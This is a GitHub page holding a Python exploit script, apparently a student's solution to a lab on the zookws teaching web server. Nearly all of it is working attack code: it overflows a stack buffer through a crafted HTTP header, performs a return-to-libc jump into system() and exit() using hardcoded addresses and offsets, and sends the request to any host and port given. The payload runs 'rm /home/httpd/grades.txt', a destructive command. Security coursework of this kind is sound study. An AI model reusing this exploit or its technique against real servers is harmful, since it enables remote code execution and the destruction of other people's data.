-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathexploit-4a.py
executable file
·132 lines (103 loc) · 4.04 KB
/
exploit-4a.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/python
import sys
import socket
import traceback
import urllib
import struct
####
## You might find it useful to define variables that store various
## stack or function addresses from the zookd / zookfs processes,
## which you can then use in build_exploit(); the following are just
## examples.
stack_buffer = 0x34567890
stack_saved_ebp = 0x12345678
stack_retaddr = stack_saved_ebp + 4
## This is the function that you should modify to construct an
## HTTP request that will cause a buffer overflow in some part
## of the zookws web server and exploit it.
# Exploit sprintf buffer overflow vulnerability. http.c:165.
# Overflow value stack buffer.
# Exploit lives in zookfs process.
def build_exploit(shellcode):
## Things that you might find useful in constructing your exploit:
## urllib.quote(s)
## returns string s with "special" characters percent-encoded
## struct.pack("<I", x)
## returns the 4-byte binary encoding of the 32-bit integer x
## variables for program addresses (ebp, buffer, retaddr=ebp+4)
# Summary:
# 1. overflow `value` stack buffer with garbage bytes up until ret
# 2. push address to second instruction in `system`
# 3. 4 garbage bytes to simulate first push instruction in `system`
# 4. push address to `exit`
# 5. push address of the command string, which is the argument of
# `system`
# 6. push the null-terminated command string
# null-terminated string of command we want to exec
shell_command = "rm /home/httpd/grades.txt" + struct.pack("<I", 0)
# jump to the second instruction in system because the address of
# the first instruction has a 0x0, or null-terminator byte.
# The skipped instruction is a `push`, which is emulated by adding
# another byte to the stack.
system_addr = struct.pack("<I", 0x40065100 + 1)
exit_addr = struct.pack("<I", 0x40058150)
http_request_headers_ebp = 0xbfffde08
ebp_value_diff = 0x214
ebp_ret_diff = ebp_value_diff + 4
# setup headers such that the web server will think its valid
# do NOT use CONTENT_TYPE or CONTENT_LENGTH, because the web
# server handles them differently
http_headers = "a: "
# fill_headers with random bytes up until the return address
garbage_bytes = ebp_ret_diff
http_headers = http_headers + ("Z" * garbage_bytes)
# push system return address
http_headers = http_headers + system_addr
# since we skip the first instruction of system, which is a push
# we simulate by adding garbage bytes. This is required for system
# to compute correct esp offsets and return to the correct address
http_headers = http_headers + "AAAA"
# push the exit return address
http_headers = http_headers + exit_addr
# push pointer to target file string. 20 bytes above ebp.
# 4 bytes for saved ebp, 4 for system ret, 4 for simulated push,
# 4 for exit ret, 4 for pointer to string/arg to system.
http_headers = http_headers + struct.pack("<I", http_request_headers_ebp + 20)
# push the string we want to execute
http_headers = http_headers + shell_command
req = "GET / HTTP/1.0\r\n" + \
http_headers + "\r\n" \
"\r\n"
return req
####
def send_req(host, port, req):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Connecting to %s:%d..." % (host, port))
sock.connect((host, port))
print("Connected, sending request...")
sock.send(req)
print("Request sent, waiting for reply...")
rbuf = sock.recv(1024)
resp = ""
while len(rbuf):
resp = resp + rbuf
rbuf = sock.recv(1024)
print("Received reply.")
sock.close()
return resp
####
if len(sys.argv) != 3:
print("Usage: " + sys.argv[0] + " host port")
exit()
try:
shellfile = open("shellcode.bin", "r")
shellcode = shellfile.read()
req = build_exploit(shellcode)
print("HTTP request:")
print(req)
resp = send_req(sys.argv[1], int(sys.argv[2]), req)
print("HTTP response:")
print(resp)
except:
print("Exception:")
print(traceback.format_exc())